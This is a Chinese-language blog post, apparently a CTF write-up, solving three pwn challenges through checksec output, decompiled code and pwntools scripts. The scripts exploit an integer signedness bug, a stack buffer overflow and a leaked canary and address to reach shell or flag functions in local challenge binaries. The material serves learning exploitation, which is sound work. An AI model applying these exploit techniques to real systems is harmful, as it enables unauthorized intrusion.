题外话
现在我做封面的技术真的是炉火纯青了
听v我写的进度很慢,听方大同写的速度就很快
所以拜拜,洛小妹
灯神的愿望
checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: NoPIE开了说明要找地方泄露地址了
来看main函数逻辑
int __fastcall __noreturn main(int argc, const char **argv, const char **envp){ int v3; // [rsp+4h] [rbp-7Ch] BYREF int v4; // [rsp+8h] [rbp-78h] BYREF unsigned int v5; // [rsp+Ch] [rbp-74h] _BYTE v6[104]; // [rsp+10h] [rbp-70h] BYREF unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u); v5 = 1; init(argc, argv, envp); puts("Hello, dear pwner! I am Genie Lamp!"); puts("You can only make ONE wish."); puts("What do you want?"); while ( 1 ) { while ( 1 ) { puts(&byte_2082); puts("1. Make more wishes"); puts("2. Make a normal wish"); puts("3. Get flag"); printf("> "); __isoc99_scanf("%d", &v3); if ( v3 != 1 ) break; puts("How many wishes do you want?"); __isoc99_scanf("%d", &v4); if ( v4 > 0 ) { puts("Sorry, you can't increase wishes."); exit(0); } v5 = v4; printf("You can still make %u wishes!\n", v4); } if ( v3 == 2 ) break; if ( v3 == 3 ) { if ( v5 <= 0x1BF51 ) puts("Your wishes are not enough..."); else win(); exit(0); } puts("Invalid choice!"); } puts("Tell me your wish:"); __isoc99_scanf("%99s", v6); puts("Your wish has been granted!"); exit(0);}分析逻辑
第一轮输入v3
v3 == 1:
输入v4,v4大于0退出,小于0赋值给v5,打印v4
v3 == 2:
退出
v3 == 3:
如果v5的值小于等于1BF51则退出,大于则win()
看一眼逻辑
int win(){ puts("Your endless wishes come true!"); return system("/bin/sh");}ok,那我们现在的目标就是找到方法让v4赋值给他,不过提示很明显了,给一个负数就结束战斗了
pwndbg> cContinuing.Hello, dear pwner! I am Genie Lamp!You can only make ONE wish.What do you want?
1. Make more wishes2. Make a normal wish3. Get flag> 2Tell me your wish:-1Your wish has been granted![Inferior 1 (process 9372) exited normally]pwndbg>payload
from pwn import *p = process('./pwn')
p.recvuntil(b"> ")p.sendline(b'1')p.recvuntil(b"How many wishes do you want?")p.sendline(b'-1')p.interactive() python3 reslo.py[+] Starting local process './pwn': pid 9957[*] Switching to interactive mode
You can still make 4294967295 wishes!
1. Make more wishes2. Make a normal wish3. Get flag> $ 3Your endless wishes come true!百万英镑
checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No没有canary和PIE
看main
int __fastcall main(int argc, const char **argv, const char **envp){ _BYTE v4[103]; // [rsp+0h] [rbp-70h] BYREF unsigned __int8 v5; // [rsp+67h] [rbp-9h] unsigned __int64 number; // [rsp+68h] [rbp-8h]
initialise(); puts("== million pound =="); puts("I want one fine million-pound cheque,"); puts("one brand-new million-pound cheque,"); puts("all the exquisite million-pound cheques,"); puts("a few more million-pound cheques on top,"); puts("and another million-pound cheque fresh off the press."); puts("That is rather a lot of cheques, sir."); printf("How many should I prepare? "); number = read_number(); v5 = cheque_bytes(number); if ( v5 <= 0x60u ) { printf("What would you like written, sir? "); read_exact(0, v4, 8 * number); puts("Very good, sir."); } else { puts("That would draw too much attention, sir."); } return 0;}然后看functions表
查看老演员staff room
int staff_room(){ char *argv[2]; // [rsp+0h] [rbp-10h] BYREF
argv[0] = "/bin/sh"; argv[1] = 0; return execve("/bin/sh", argv, 0);}ok现在归纳一下逻辑思路
第一轮输入决定长度,第二轮输入决定内容
长度限制为0x60,内容可输入8*长度
v4的长度为103,位于7*16=112
且8x6x16明显大于112,所以我可以造一个栈溢出来跳转
payload=112+8(saved rbp) + 地址
由于长度,我们可以设一个大一点的剩下没利用的字节就利用垃圾数据填充
from pwn import *
# p = remote("127.0.0.1", 51742)p = process('./million-pound')p.recvuntil(b'How many should I prepare? ')p.sendline(b'32')
win = 0x401394payload = b'A' * 120 + p64(win)p.recvuntil(b'What would you like written, sir? ')payload += b'B' * (256 - len(payload))p.send(payload)p.interactive()校庆抽奖后台
checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No开PIE说明要去找地方泄露真实地址了,哦对了,还有四凤金丝雀
再看main函数逻辑
int __fastcall main(int argc, const char **argv, const char **envp){ __int64 v3; // rax unsigned __int16 v5; // [rsp+6h] [rbp-Ah] BYREF unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); alarm(0x1Eu); puts("=== Anniversary Lottery Admin Debug ==="); v3 = stack_guard(); printf("[trace] active record: %p :: 0x%016lx\n", award_jackpot, v3); puts("[lottery] Submit a two-byte little-endian claim packet length."); puts("[lottery] Send claim packet:"); read_exact((char *)&v5, 2u); if ( v5 && v5 <= 0x100u ) { submit_claim(v5); return 0; } else { puts("[lottery] Invalid claim packet length."); return 0; }}点击award_jackpot去看逻辑
unsigned __int64 award_jackpot(){ int fd; // [rsp+4h] [rbp-9Ch] ssize_t n; // [rsp+8h] [rbp-98h] _QWORD buf[17]; // [rsp+10h] [rbp-90h] BYREF _QWORD 在 64 位程序中表示 8 字节。buf[17] 的总大小 = 17 × 8 = 136 字节。read 的长度参数 0x7F = 127 字节。 unsigned __int64 v4; // [rsp+98h] [rbp-8h]
v4 = __readfsqword(0x28u); memset(buf, 0, 128); fd = open("/flag", 0); if ( fd < 0 ) { puts("[lottery] Prize record unavailable."); exit(1); } n = read(fd, buf, 0x7Fu); if ( n > 0 ) { write(1, "[lottery] Jackpot awarded: ", 0x1Bu); write(1, buf, n); } close(fd); return v4 - __readfsqword(0x28u);}这不都有flag了吗,
现在是11.41分经过了一段时间的水群以及观察函数逻辑之后,我并没有发现漏洞函数
核心问题
submit_claim的参数a1类型是size_t,但在main中传入的是v5,而v5是unsigned __int16(2 字节)。这里发生了整数提升/零扩展:v5的值(0~65535)被转换为size_t(64 位无符号)时,高位补 0,因此a1的值就等于v5的值。
我的理解是v5传递进去之后取了他的长度,但是明显是错误的,可能睡觉时间要到的人就昏头了吧(
v5的长度是又我决定,而v2只有72字节,那不就大大方方栈溢出了
而且main函数还有自杀式的打印真实地址+金丝雀的行为,拿条件都符合条件了
现在算payload
payload = 72 + canary+ + savedrbp + 后门地址
exp
from pwn import *
context.arch = "amd64"context.log_level = "info"
p = remote("127.0.0.1", 63440)
p.recvuntil(b"[trace] active record: ")leak = p.recvline().strip()log.info(f"leak line: {leak}")win = int(leak.split(b" ::")[0], 16)canary = int(leak.split(b":: 0x")[1], 16)
log.success(f"win = {hex(win)}")log.success(f"canary = {hex(canary)}")p.recvuntil(b"[lottery] Send claim packet:")size = 0x60p.send(p16(size))payload = b'A' * 72 + p64(canary) + b'A' * 8 + p64(win)
p.send(payload)
p.interactive()你别说,加log还能看是哪出问题的
晚安,周末有事,估计暂时更新不了了
Some information may be outdated